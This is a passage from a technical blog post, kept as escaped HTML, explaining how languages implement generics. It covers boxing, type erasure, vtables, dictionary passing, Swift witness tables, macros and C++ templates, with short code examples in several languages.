  &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example languages that use basic boxing: C (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void*&lt;/code&gt;), Go (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interface{}&lt;/code&gt;), pre-generics Java (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object&lt;/code&gt;), pre-generics Objective-C (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt;)&lt;/p&gt;

&lt;h2 id=&quot;type-erased-boxed-generics&quot;&gt;Type-erased boxed generics&lt;/h2&gt;

&lt;p&gt;Here’s some problems with the basic boxing approach:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Depending on the language we often need to cast values to and from the correct type every time we read or write to the data structure.&lt;/li&gt;
  &lt;li&gt;Nothing stops us from putting elements of different types into the structure, which could allow bugs that manifest as runtime crashes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A solution to both of these problems is to add generics functionality to the type system, while still using the basic boxing method exactly as before at runtime. This approach is often called type erasure, because the types in the generics system are “erased” and all become the same type (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object&lt;/code&gt;) under the hood.&lt;/p&gt;

&lt;p&gt;Java and Objective-C both started out with basic boxing, and later added language features for generics with type erasure, even using the exact same collection types as before for compatibility, but with optional generic type parameters. See the following example from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Generics_in_Java&quot;&gt;Wikipedia article on Java Generics&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;List&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ArrayList&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// A String that cannot be cast to an Integer&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Run time error&lt;/span&gt;

&lt;span class=&quot;nc&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ArrayList&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// (type error) compilation-time error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;inferred-boxed-generics-with-a-uniform-representation&quot;&gt;Inferred boxed generics with a uniform representation&lt;/h3&gt;

&lt;p&gt;OCaml takes this idea even further with a uniform representation where there are no primitive types that require an additional boxing allocation (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int&lt;/code&gt; needing to be turned into an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Integer&lt;/code&gt; to go in an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrayList&lt;/code&gt; in Java), because everything is either already boxed or represented by a pointer-sized integer, so everything is one machine word. However when the garbage collector looks at data stored in generic structures it needs to tell pointers from integers, so integers are tagged using a 1 bit in a place where valid aligned pointers never have a 1 bit, leaving only 31 or 63 bits of range.&lt;/p&gt;

&lt;p&gt;OCaml also has a type inference system so you can write a function and the compiler will infer the most generic type possible if you don’t annotate it, which can lead to functions that look like a dynamically typed language:&lt;/p&gt;

&lt;div class=&quot;language-ocaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;(* inferred type: &apos;a list -&amp;gt; &apos;a *)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The inferred type is read as “a function from a list of elements of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;a&lt;/code&gt; to something of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;a&lt;/code&gt;”. Which encodes the relation that the return type is the same as the list type but can be any type.&lt;/p&gt;

&lt;h2 id=&quot;interfaces&quot;&gt;Interfaces&lt;/h2&gt;

&lt;p&gt;A different limitation in the basic boxing approach is that the boxed types are &lt;em&gt;completely&lt;/em&gt; opaque. This is fine for data structures like a stack, but things like a generic sorting function need some extra functionality, like a type-specific comparison function. There’s a number of different ways of both implementing this at runtime and exposing this in the language, which are technically different axes and you can &lt;a href=&quot;http://okmij.org/ftp/Computation/typeclass.html&quot;&gt;implement the same language using multiple of these approaches&lt;/a&gt;. However, it seems like different language features mostly lend themselves towards being implemented a certain way, and then language extensions take advantage of the strengths of the chosen implementation. This means there’s mostly two families of languages based around the different runtime approaches: vtables and dictionary passing.&lt;/p&gt;

&lt;h3 id=&quot;interface-vtables&quot;&gt;Interface vtables&lt;/h3&gt;

&lt;p&gt;If we want to expose type-specific functions while sticking with the boxing strategy of a uniform way of working with everything, we can just make sure that there’s a uniform way to find the type-specific function we want from an object. This approach is called using “vtables” (shortened from “virtual method tables” but nobody uses the full name) and how it is implemented is that at offset zero in every object in the generic structure is a pointer to some tables of function pointers with a consistent layout. These tables allow the generic code to look up a pointer to the type-specific functions in the same way for every type by indexing certain pointers at fixed offsets.&lt;/p&gt;

&lt;p&gt;This is how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interface&lt;/code&gt; types are implemented in Go and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dyn&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trait&lt;/code&gt; objects are implemented in Rust. When you cast a type to an interface type for something it implements, it creates a wrapper that contains a pointer to the original object and a pointer to a vtable of the type-specific functions for that interface. However this requires an extra layer of pointer indirection and a different layout, which is why sorting in Go uses &lt;a href=&quot;https://golang.org/pkg/sort/#Interface&quot;&gt;an interface for the container with a Swap method&lt;/a&gt; instead of taking a slice of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Comparable&lt;/code&gt; interface, because it would require allocating an entire new slice of the interface types and then it would only sort that and not the original slice!&lt;/p&gt;

&lt;h3 id=&quot;object-oriented-programming&quot;&gt;Object-oriented programming&lt;/h3&gt;

&lt;p&gt;Object oriented programming is a language feature that makes good use of the power of vtables. Instead of having separate interface objects that contain the vtables, object-oriented languages like Java just have a vtable pointer at the start of every object. Java-like languages have a system of inheritance and interfaces that can be implemented entirely with these object vtables.&lt;/p&gt;

&lt;p&gt;As well as providing additional features, embedding vtables in every object also solves the earlier problem of needing to construct new interface types with indirection. Unlike &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Go&lt;/code&gt;, in Java &lt;a href=&quot;https://docs.oracle.com/javase/7/docs/api/java/util/Arrays.html#sort(java.lang.Object[])&quot;&gt;the sorting function&lt;/a&gt; can just use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Comparable&lt;/code&gt; interface on types that implement it.&lt;/p&gt;

&lt;h3 id=&quot;reflection&quot;&gt;Reflection&lt;/h3&gt;

&lt;p&gt;Once you have vtables, it’s not too difficult to have the compiler also generate tables of other type information like field names, types and locations. This allows accessing all the data in a type with the same code that can inspect all the data in any other type. This can be used to add a “reflection” feature to your language which can be used to implement things like serialization and pretty printing for arbitrary types. As an extension of the boxing paradigm it has the same tradeoff that it only requires one copy of the code but requires a lot of slow dynamic lookups, which can lead to slow serialization performance.&lt;/p&gt;

&lt;p&gt;Examples of languages with reflection features they use for serialization and other things include Java, C# and Go.&lt;/p&gt;

&lt;h3 id=&quot;dynamically-typed-languages&quot;&gt;Dynamically typed languages&lt;/h3&gt;

&lt;p&gt;Reflection is very powerful and can do a lot of different metaprogramming tasks, but one thing it can’t do is create new types or edit the type information of existing values. If we add the ability to do this, as well as make the default access and modification syntaxes go through reflection, we end up with dynamically typed languages! The incredibly flexibility to do metaprogramming in languages like Python and Ruby comes from effectively super-powered reflection systems that are used for everything.&lt;/p&gt;

&lt;p&gt;“But Tristan, that’s not how dynamic languages work, they just implement everything with hash tables!” you may say. Well, hash tables are just a good data structure for implementing editable type information tables! Also, that’s just how some interpreters like CPython do things. If you look at how a high performance JIT like V8 implements things, &lt;a href=&quot;https://v8.dev/blog/fast-properties&quot;&gt;it looks a lot like vtables and reflection info&lt;/a&gt;! V8’s hidden classes (vtables and reflection info) and object layout are similar to what you might see in a Java VM, just with the capability for objects to change to a new vtable at runtime. This is not a coincidence because nothing is ever a coincidence: The person &lt;a href=&quot;https://en.wikipedia.org/wiki/Chrome_V8&quot;&gt;listed on Wikipedia as the creator of V8&lt;/a&gt; previously &lt;a href=&quot;https://en.wikipedia.org/wiki/Lars_Bak_(computer_programmer)&quot;&gt;worked on a high-performance Java VM&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;dictionary-passing&quot;&gt;Dictionary Passing&lt;/h3&gt;

&lt;p&gt;Another way of implementing dynamic interfaces than associating vtables with objects is to pass a table of the required function pointers along to generic functions that need them. This approach is in a way similar to constructing Go-style interface objects at the call site, just that the table is passed as a hidden argument instead of packaged into a bundle as one of the existing arguments.&lt;/p&gt;

&lt;p&gt;This approach is used by &lt;a href=&quot;http://okmij.org/ftp/Computation/typeclass.html&quot;&gt;Haskell type classes&lt;/a&gt; although GHC has the ability to do a kind of monomorphization as an optimization through inlining and specialization. Dictionary passing is also used by OCaml with an explicit argument in the form of &lt;a href=&quot;https://v1.realworldocaml.org/v1/en/html/first-class-modules.html&quot;&gt;first class modules&lt;/a&gt;, but there’s a proposal to &lt;a href=&quot;https://tycon.github.io/modular-implicits.html&quot;&gt;add a mechanism to make the parameter implicit&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;swift-witness-tables&quot;&gt;Swift Witness Tables&lt;/h3&gt;

&lt;p&gt;Swift makes the interesting realization that by using dictionary passing and also putting the size of types and how to move, copy and free them into the tables, they can provide all the information required to work with any type in a uniform way without boxing them. This way Swift can implement generics &lt;a href=&quot;https://www.reddit.com/r/rust/comments/7gkiie/implementing_swift_generics_video/&quot;&gt;without monomorphization and without allocating everything into a uniform representation&lt;/a&gt;! They still pay the cost of all the dynamic lookups that all boxing-family implementations pay, but they save on the allocation, memory and cache-incoherency costs. The Swift compiler also has the ability to specialize (monomorphize) and inline generics within a module and across modules with functions &lt;a href=&quot;https://github.com/apple/swift-evolution/blob/master/proposals/0193-cross-module-inlining-and-specialization.md&quot;&gt;annotated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@inlinable&lt;/code&gt;&lt;/a&gt; to avoid these costs if it wants to, presumably using heuristics about how much it would bloat the code.&lt;/p&gt;

&lt;p&gt;This functionality also explains how Swift can &lt;a href=&quot;https://github.com/apple/swift-evolution/blob/master/proposals/0260-library-evolution.md&quot;&gt;implement ABI stability&lt;/a&gt; in a way that allows adding and rearranging fields in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct&lt;/code&gt;s, although they provide a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@frozen&lt;/code&gt; attribute to opt out of dynamic lookups for performance reasons.&lt;/p&gt;

&lt;h3 id=&quot;intensional-type-analysis&quot;&gt;Intensional Type Analysis&lt;/h3&gt;

&lt;p&gt;One more way to implement interfaces for your boxed types is to add a type ID in a fixed part of the object like where a vtable pointer would go, then generate functions for each interface method that effectively have a big &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;switch&lt;/code&gt; statement over all the types that implement that interface method and dispatch to the correct type-specific method.&lt;/p&gt;

&lt;p&gt;I’m not aware of any languages that use this technique, but C++ compilers and Java VMs do something similar to this when they use profile-guided optimization to learn that a certain generic call site mostly acts on objects of certain types. They’ll replace the call site with a check for each common type and then a static dispatch for that common type, with the usual dynamic dispatch as a fallback case. This way the branch predictor can predict the common case branch will be taken and continue dispatching instructions through the static call.&lt;/p&gt;

&lt;h2 id=&quot;monomorphization&quot;&gt;Monomorphization&lt;/h2&gt;

&lt;p&gt;Now, the alternative approach to boxing is monomorphization. In the monomorphization approach we need to find some way to output multiple versions of our code for each type we want to use it with. Compilers have multiple phases of representations that the code passes through as it is compiled, and we theoretically can do the copying at any of these stages.&lt;/p&gt;

&lt;h3 id=&quot;generating-source-code&quot;&gt;Generating source code&lt;/h3&gt;

&lt;p&gt;The simplest approach to monomorphization is to do the copying at the stage of the first representation: source code! This way the compiler doesn’t even have to have generics support in it, and this is what users of languages like C and Go, where the compiler doesn’t support generics, sometimes do.&lt;/p&gt;

&lt;p&gt;In C you can use the preprocessor and define your data structure in a macro or a header that you include multiple times with different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#define&lt;/code&gt;s. In Go there are scripts like &lt;a href=&quot;https://github.com/cheekybits/genny&quot;&gt;genny&lt;/a&gt; that make this code generation process easy.&lt;/p&gt;

&lt;p&gt;The downside of this is that duplicating source code can have a lot of warts and edge cases to look out for depending on the language, and also gives the compiler lots of extra work to do parsing and type checking basically the same code many times. Again depending on language and tools this method’s generics can be ugly to write and use, like how if you write one inside a C macro every line has to end with a backslash and all type and function names need to have the type name manually concatenated onto their identifiers to avoid collisions.&lt;/p&gt;

&lt;h3 id=&quot;d-string-mixins&quot;&gt;D string mixins&lt;/h3&gt;

&lt;p&gt;Code generation does have something going for it though, which is that you can generate the code using a fully powered programming language, and also it uses a representation that the user already knows.&lt;/p&gt;

&lt;p&gt;Some languages that implement generics in some other way also include a clean way of doing code generation to address more general metaprogramming use cases not covered by their generics system, like serialization. The clearest example of this is D’s &lt;a href=&quot;https://dlang.org/articles/mixin.html&quot;&gt;string mixins&lt;/a&gt; which enable generating D code as strings using the full power of D during the middle of a compile.&lt;/p&gt;

&lt;h3 id=&quot;rust-procedural-macros&quot;&gt;Rust procedural macros&lt;/h3&gt;

&lt;p&gt;A similar example but with a representation only one step into the compiler is &lt;a href=&quot;https://blog.rust-lang.org/2018/12/21/Procedural-Macros-in-Rust-2018.html&quot;&gt;Rust’s procedural macros&lt;/a&gt;, which take token streams as input and output token streams, while providing utilities to convert token streams to and from strings. The advantage of this approach is that token streams can preserve source code location information. A macro can directly paste code the user wrote from input to output as tokens, then if the user’s code causes a compiler error in the macro output the error message the compiler prints will correctly point to the file, line and columns of the broken part of the user’s code, but if the macro generates broken code the error message will point to the macro invocation. For example if you use &lt;a href=&quot;https://docs.rs/log-derive/&quot;&gt;a macro that wraps a function in logging calls&lt;/a&gt; and make a mistake in the implementation of the wrapped function, the compiler error will point directly to the mistake in your file, rather than saying the error occurred in code generated by the macro.&lt;/p&gt;

&lt;h3 id=&quot;syntax-tree-macros&quot;&gt;Syntax tree macros&lt;/h3&gt;

&lt;p&gt;Some languages do take the step further and offer facilities for consuming and producing Abstract Syntax Tree (AST) types in macros written in the language. Examples of this include &lt;a href=&quot;https://wiki.haskell.org/A_practical_Template_Haskell_Tutorial&quot;&gt;Template Haskell&lt;/a&gt;, &lt;a href=&quot;https://nim-lang.org/docs/tut3.html&quot;&gt;Nim macros&lt;/a&gt;, &lt;a href=&quot;http://ocamllabs.io/doc/ppx.html&quot;&gt;OCaml PPX&lt;/a&gt; and nearly all &lt;a href=&quot;https://en.wikipedia.org/wiki/Lisp_(programming_language)&quot;&gt;Lisp&lt;/a&gt;s.&lt;/p&gt;

&lt;p&gt;One problem with AST macros is that you don’t want to require users to learn a bunch of functions for constructing AST types as well as the base languages. The Lisp family of languages address this by making the syntax and the AST structure very simple with a very direct correspondence, but constructing the structures can still be tedious. Thus, all the languages I mention have some form of “quote” primitive where you provide a fragment of code in the language and it returns the syntax tree. These quote primitives also have a way to splice syntax tree values in like string interpolation. Here’s an example in Template Haskell:&lt;/p&gt;

&lt;div class=&quot;language-haskell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- using AST construction functions&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;genFn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Q&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Exp&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;genFn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newName&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;x&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;lamE&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;varP&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appE&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;varE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;varE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- using quotation with $() for splicing&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;genFn&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Q&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Exp&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;genFn&apos;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;varE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One disadvantage of doing procedural macros at the syntax tree level instead of token level is that syntax tree types often change with the addition of new language features, while token types can remain compatible. For example OCaml’s PPX system needs &lt;a href=&quot;https://github.com/ocaml-ppx/ocaml-migrate-parsetree&quot;&gt;special infrastructure to migrate parse trees&lt;/a&gt; to and from the language version used by a macro. Whereas Rust has libraries that add &lt;a href=&quot;https://github.com/dtolnay/syn&quot;&gt;parsing&lt;/a&gt; and &lt;a href=&quot;https://github.com/dtolnay/quote&quot;&gt;quotation&lt;/a&gt; utilities so you can write procedural macros in a style similar to syntax tree macros. Rust even has &lt;a href=&quot;https://github.com/dtolnay/reflect&quot;&gt;an experimental library that tries to replicate the interface provided by reflection&lt;/a&gt;!&lt;/p&gt;

&lt;h3 id=&quot;templates&quot;&gt;Templates&lt;/h3&gt;

&lt;p&gt;The next type of generics is just pushing the code generation a little further in the compiler. Templates as found in C++ and D are a way of implementing generics where you can specify “template parameters” on types and functions and when you instantiate a template with a specific type, that type is substituted into the function, and then the function is type checked to make sure that the combination is valid.&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;myMax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

